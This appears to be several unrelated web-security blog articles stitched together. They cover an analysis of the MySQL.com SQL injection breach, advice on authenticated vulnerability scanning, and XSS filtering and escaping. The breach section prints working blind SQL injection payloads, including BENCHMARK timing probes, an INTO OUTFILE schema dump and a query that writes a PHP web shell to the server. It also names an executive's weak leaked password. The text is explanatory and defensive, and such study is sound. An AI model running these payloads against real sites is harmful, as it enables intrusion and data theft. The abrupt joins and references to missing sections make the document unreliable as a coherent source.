SQL Injection attacks are very popular. Some reports state that they constitute over 20% of all types of attacks against websites. On the other hand, the technology behind MySQL is very robust and has been tested by millions of users worldwide. It has a good reputation and also offers some protection against Injection attacks.

In this article I analyze how the attack happened. I try to pinpoint where the vulnerability lies so that web application developers can be more aware and more careful about how they build their sites.

The SQL Injection Process

An SQL Injection attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans. Once the attacker is satisfied, he can launch his attack.

The process is shown in the following diagram:

Depending on the vulnerabilities found the hacker will employ different methods to perform the injection. His methods will depend on the SQL server in use and how the web application is coded. These exact methods are not within the scope of this article, however a good article on the full details of SQL Injection attacks can be found here: How to check for SQL injection vulnerabilities

Anatomy of the Hack

The hackers revealed enough information to prove that the break was genuine but they have been rather quiet about the exact sequence of events that constituted the attack. They did, however, point us to their entry point which is:

http://mysql.com/customers/view/index.html?id=1170

Upon inspection, this URL points to the “Customers View” part of the website that enables web visitors to browse through the profiles of MySQL’s more prominent customers.

As you can see from the URL above, a single parameter called “id” is passed to this module. This parameter, which is of numeric type, identifies a customer. Customer ID 1170, corresponds to a company called Cinnober as can be seen in the screen shot below.

Interesting to note that if a different ID is passed, a different customer profile is displayed. For example, executing the request index.html?id=1171 results in the Quora customer profile being displayed. This is not a serious security vulnerability in itself, however allowing visitors to enumerate the web page in this way does raise some eyebrows in the security community.

In a message to the popular security mailing list Full Disclosure, the hackers revealed some more interesting details:

Host IP              :   213.136.52.29
Web Server           :   Apache/2.2.15 (Fedora)
Powered-by           :   PHP/5.2.13
Injection Type       :   MySQL Blind

This information identifies the server IP address, the operating system and web server names and versions, the version of PHP used by the module and most importantly the Injection Type, which they claim to be “MySQL Blind.”

Earlier in the article I explained the main concepts of an SQL Injection attack. The first step of these attacks is to identify the vulnerability. The hacker does this by probing the web application until certain error conditions are met. These errors point out vulnerable points that could be exploited.

In a blind attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.

In this case the hacker was skilled enough to use alternative information gathering methods. One popular method used in Blind Injections is the Timing Attack. Using this method, the attacker puts a benchmark timer into the injected payload. This allows the him to accurately measure the amount of time that the payload takes to execute. Using this timing information the hacker can glean an important insight into the structure of the database including the database names and table names, which are instrumental in a successful SQL Injection attack.

The following example explains how the SQL BENCHMARK() function can be used in such an attack.

1170 UNION SELECT IF(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tbl;

The code above tests whether the first letter of the database name CHAR 119 (lowercase letter w). If the server response takes a long time it means that the current database starts with ‘w’. If the time is short then another letter is tested. This method is rather crude and takes some fine-tuning from the part of the hacker, but in this case it was successfully exploited to reveal the entire list of database names and their tables.

If the first phase of the attack is successful a new set of possible attack vectors are opened up. A hacker would first want to get more information about the environment that he is operating in. He could do that by issuing the following command:

1170 UNION SELECT IF(SUBSTRING(version(),1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)

This command will give the hacker the MySQL database version. Other functions can be used to gather more information, some of the more interesting ones are:

database() - the name of the database currently connected to.
system_user() - the system user for the database.
current_user() - the current user who is logged in to the database.
last_insert_id() - the transaction ID of the last insert operation on the database.

If current_user() has the correct write permissions, the hacker will proceed to dump out some more information to a file on the server. This will facilitate the data retrieval later on.

1170 Union All SELECT table_name, table_type, engine FROM information_schema.tables WHERE table_schema = 'mysql’ ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt'

The command above, if successful will dump the entire database schema into a file called schema.txt which is accessible from the root folder of the website. The only caveat of this command is that it requires knowledge of the directory structure of the server. Sometimes this can be guessed since most system administrators use default settings. Other times it is revealed though over enthusiastic error reporting, or other more subtle bugs in the application code.

Once a hacker knows an injection entry point he can also penetrate deeper. The following command will give the hacker his own shell, opening a whole new set of possibilities for him.

1170 UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

These are just a few techniques of blind injection that could have been used against a MySQL database. To break into MySQL.com the hacker must have employed commands very similar to these. The next section reveals some of the information that the hackers scraped from their website. This includes the entire database schema as well as the contents of some of the database tables, namely the ones that contain user names and passwords.

Damage Report

The hackers claim to have hacked the following mysql domains: www.mysql.com, www.mysql.fr, www.mysql.de, www.mysql.it, www-jp.mysql.com. These web sites are all very similar, in fact they appear to be running identical web applications, but in different languages. They are also connecting to the same database, or an exact replica of it. A quick visit to the vulnerable URL, but with the .com changed to .de reveals the same result but in the German language:

Of greater relevance is the number of exposed databases. The hackers list 46 different databases, some of them trivial with names like “test” but others look more interesting; customer, partners, wordpress and phorum5.

The databases “customer” and “partner” are probably used to feed the CMS for the website itself, so they would not contain any confidential information. The “wordpress” database might reveal some interesting data. The database called “phorum5” is very interesting because this name is used as the password for two database users; “mysqlforge” and “sys”.

Amongst the leaked accounts is the user name and password of Robin Schumacher who is the director of Product Management at MySQL. The passwords were all encrypted, however many of them were easily cracked. For example, Robin’s password, which granted administrative rights consisted simply of four digits. This looks a lot like a credit card PIN or a voicemail password. This user was not alone – many other accounts had short or simple passwords, indicating that a lax password policy was in place on the site.

Lessons Learned

The MySQL database is an integral part of many platforms. It drives popular platforms like Joomla, Drupal and WordPress. It’s customers span from open source projects to financial and government institutions and the largest websites like Wikipedia and Facebook use it for their back-end. For MySQL, a security incident like this is a big embarrassment which can affect their credibility amongst customers.

Pinpointing the exact location of the bug is tricky due to a lack of detailed information, however SQL Injection attacks are almost always blamed on programming errors in the web application layer, and not inside the database technology itself.

Blocking all SQL Injection attacks can be challenging, however there are some safeguards that should always be in place. For example, all user input should always be escaped. Escaping is a very effective way of stopping SQL Injection attacks and is supported on many platforms. PHP supplies a function mysql_real_escape_string()  which should be used for all SQL queries that could include injection code. Many programmers block SQL Injection attacks by using bind variables, or parametrized SQL statements. This technique avoids the use of string concatenation to build SQL statements and therefore effectively blocks any kind of injection escaping though.

A more secure password policy could have quite possibly minimized the damage by slowing down the hackers, or even preventing them from penetrating further. Passwords should have also been salted, making them much more resilient to brute force attacks. Salting involves adding some random bits to the end of a password when it is hashed, greatly reduces the odds of successfully guessing a password during a brute force and makes them less vulnerable to rainbow table attacks.

Lastly, regular scans for common vulnerabilities should be critical part of your security policy. Websites are constantly being updated with new code and applications in order to keep up with the increasing demands for change on the World Wide Web. Testing for security needs to be automated wherever possible. Testing should also be done with trusted tools that get updated frequently. Security is a cat and mouse game. The hackers are always finding new ways to escape and you need to keep yourself one step ahead in order to win the game.

Interestingly, I often see people running unauthenticated scans because they just want a quick view of what “the bad guys” can see and exploit. This is often done in the name of a business partner request or compliance checkbox. What they’re overlooking though is the fact that external attackers may already have access to user credentials. Be it credentials that have been gleaned from things such as wireless network sniffing, a lost/stolen laptop or smartphone, or password cracking against the application itself, the vulnerabilities may well be there waiting for someone with ill intent to exploit.

By vulnerabilities, I mean things such as:
•    XSS
•    SQL injection
•    CSRF
•    Application logic flaws
•    Login mechanism flaws (including flaws related to intruder lockouts, privilege escalation and multi-factor authentication)

Sure, if a user (or external attacker) has login credentials into the application, it can be argued that anything’s fair game. That’s not always the case, especially when it comes to user accounts with lower privileges. Standard user accounts often have limited rights in and around the application – that is until you find a big vulnerability like the ones I’ve listed above.

It’s not always reasonable, but to the extent possible you really should run your scans using login credentials at all user role levels. If it’s not practical then at least run your scans using a login account that’s representative of most users as well as an administrator-level user and expand out from there. You’ll likely be surprised at what you find – especially when it comes to cloud-based applications running in a multi-tenancy configuration. It can get ugly in a hurry.

One important thing to keep in mind when running authenticated scans is: how do you know your authentication worked and that all the necessary pages were crawled and tested? Furthermore, what if the authentication worked but the user account was locked or the application threw an exception during the scan and didn’t allow the scan to complete? Everything may have looked “normal” but you could have a false sense of security if everything wasn’t tested.

Sure, manual analysis is critical here but you cannot rely on that alone to crawl and test every single page for every possible flaw. A combined approach is the best method. You still need to ensure that your authenticated crawls and scans are working. The reality is when performing an authenticated scan there’s an assumption that everything has been tested. Just know that’s not always the case so make sure you have the right people on board (i.e. developers and QA staff) to help review your scan results and ensure that you’ve poked and prodded in all the right areas.

Another thing regarding authenticated scans, form-based login pages can be a real pain. I’ve found that some tools are better at recording and executing login macros than others. Regardless, seat time is one of the best ways to ensure your authentication is working. That is, using your scanner as much as possible (even on vendor test sites) and getting to know and understand the nuances of how it behaves when recording and running login macros.

So, test with authentication. Unless and until you do there’s no true way to know for sure what’s there for the taking.

This article guides you through the most common and useful XSS prevention mechanisms which are Filtering and Escaping.

Filtering for XSS

All XSS attacks infect your web site via some form of User Input. XSS attack code could come from a simple <FORM> submitted by your users, or could take a more complex route such as a JSON script, XML web service or even an exploited cookie. In all cases the web developer should be aware that the data is coming from an external source and therefore must not be trusted.

The simplest and arguably the easiest form of XSS protection would be to pass all external data through a filter which will remove dangerous keywords, such as the infamous <SCRIPT> tag, JavaScript commands, CSS styles and other dangerous HTML markup (such as those that contain event handlers.)

Many web developers choose to implement their own filtering mechanisms; they usually write server-side code (in PHP, ASP, or some other web-enabled development language) to search for keywords and replace them with empty strings. I have seen lots of code that makes use of Regular Expressions to do this filtering and replacing. This technique is in itself not a bad one, however unfortunately the hackers usually have more experience than the web developers, and often manage to circumvent simple filters by using techniques such as hex encoding, unicode character variations, line breaks and null characters in strings. These techniques must all be catered for and that is why it is recommended to use some sort of library that has been tried and tested by the community at large.

Many libraries exist to choose from, and your choice will primarily depend on the backend technology that your web server uses. What is important is that you choose a library that is regularly maintained by a reliable source. XSS techniques keep changing and new ones emerge all the time so your filters will need to be updated periodically to keep abreast with the changing attacks.

If you are using Java, then a good place to go is XSS Protect, a project hosted on Google code. It claims to filter all “known” XSS attacks from HTML code. PHP boasts a more comprehensive library called HTML Purifier which licensed as Open Source and can be customised depending on your needs. HTML Purifier also boasts strict standards compliance and better features than other filters.

Another interesting library you can use is HTML Markdown which converts text from your users into standard and clean XHTML. This gives the advantage that minimal HTML Markup can exist in your user’s input (such as bold, underline and colours). HTML Markdown is a Perl library and does not explicitly advertise XSS prevention features so it probably should not be your only line of defence.

The side-effect with these filtering techniques is that legitimate text is often removed because it hits one or more of the forbidden keywords. For example, I would not be able to publish this article if the blogging software I used was filtering out all my HTML tags. I would not be able to write things like <SCRIPT> and alert(‘you have been hacked’) as these would be filtered out and you would not see them. If you want to preserve the original data (and it’s formatting) as best as possible you would need to relax your filters and employ HTML, Script and CSS Escaping techniques, all of which I explain in the next section.

Escaping from XSS

This is the primary means to disable an XSS attack. When performing Escaping you are effectively telling the browser that the data you are sending should be treated as data and should not be interpreted in any other way. If an attacker manages to put a script on your page, the victim will not be affected because the browser will not execute the script if it is properly escaped.

Escaping has been used to construct this article. I have managed to bring many scripts into your browser, but none of these scripts has executed! The technique used to do that is called, escaping, or as the W3C calls it “Character Escaping”.

In HTML you can escape dangerous characters by using the &# sequence followed by the it’s character code.

An escaped < character looks like this: &#60. The > character is escaped like this: &#62. Below is a list of common escape codes for HTML:


" ---> &#34
# ---> &#35
& ---> &#38
' ---> &#39
( ---> &#40
) ---> &#41
/ ---> &#47
; ---> &#59
< ---> &#60
> ---> &#62


Escaping HTML is fairly easy, however in order to properly protect yourself from all XSS attacks you require to escape JavaScript, Cascading Style Sheets, and sometimes XML data. There are also many pitfalls if you try to do all the escaping by yourself. This is where an Escaping Library comes useful.

The two most popular escaping libraries available are the ESAPI provided by OWASP and AntiXSS provided for Microsoft. ESAPI can plug into various technologies such as Java, .NET, PHP, Classic ASP, Cold Fusion, Python, and Haskell. AntiXSS exclusively protects Microsoft technologies and is therefore better suited in an all-Microsoft environment. Both libraries are constantly updated to keep up with the latest hacker techniques and are maintained by industry experts who understand changing tactics and emerging technologies such as HTML5.

When to Escape

You cannot just simply escape everything, or else your own scripts and HTML markup will not work, rendering your page useless.

There are several places on your web page which you need to ensure are properly escaped. You can use your own escaping functions (not recommended) and you can use the existing ESAPI and AntiXSS libraries.

Use HTML Escaping when…

Untrusted data is inserted in between HTML opening and closing tags. These are standards tags such as <BODY>, <DIV>, <TABLE> etc…

For example:

<DIV> IF THIS DATA IS UNTRUSTED IT MUST BE HTML ESCAPED </DIV>

Use JavaScript Escaping when…

Untrusted data is inserted inside one of your scripts, or in a place where JavaScript can be present. This includes certain attributes such as STYLE and all event handlers such as ONMOUSEOVER and ONLOAD

For example:

<SCRIPT>alert('IF THIS DATA IS UNTRUSTED IT MUST BE JAVASCRIPT ESCAPED')</SCRIPT>

<BODY ONLOAD=”IF THIS DATA IS UNTRUSTED IT MUST BE JAVASCRIPT ESCAPED">

Use CSS Escaping when…

Untrusted data is inserted inside your CSS styles. As you saw in the Attack Vectors examples, many CSS styles can be used to smuggle a script into your page.

For example:

<DIV STYLE="background-image: IF THIS DATA IS UNTRUSTED IT MUST BE CSS ESCAPED">

Above is a diagram visually representing the internet boundary and where filtering and escaping must happen to ensure XSS protection.

XSS Attacks are a moving target

In this article I attempted to collect as many recommendations and best practices used by security researchers worldwide. This recommendations set out in this article are by no means exhaustive, however they should be a good starting point for your XSS defence endeavours.

Technology is changing, and hacker attacks are getting more sophisticated but by understanding the basics set out in this article you can be prepared to prevent future attack techniques that will most definitely arise.

The first step in defending against XSS attacks is to code your web applications carefully and use the proper escaping mechanisms in the right places. After that comprehensive testing should be performed, ideally using an automated XSS scanner. When updates are made to your web applications, you should scan the affected pages again to ensure that no new vulnerabilities have been exposed.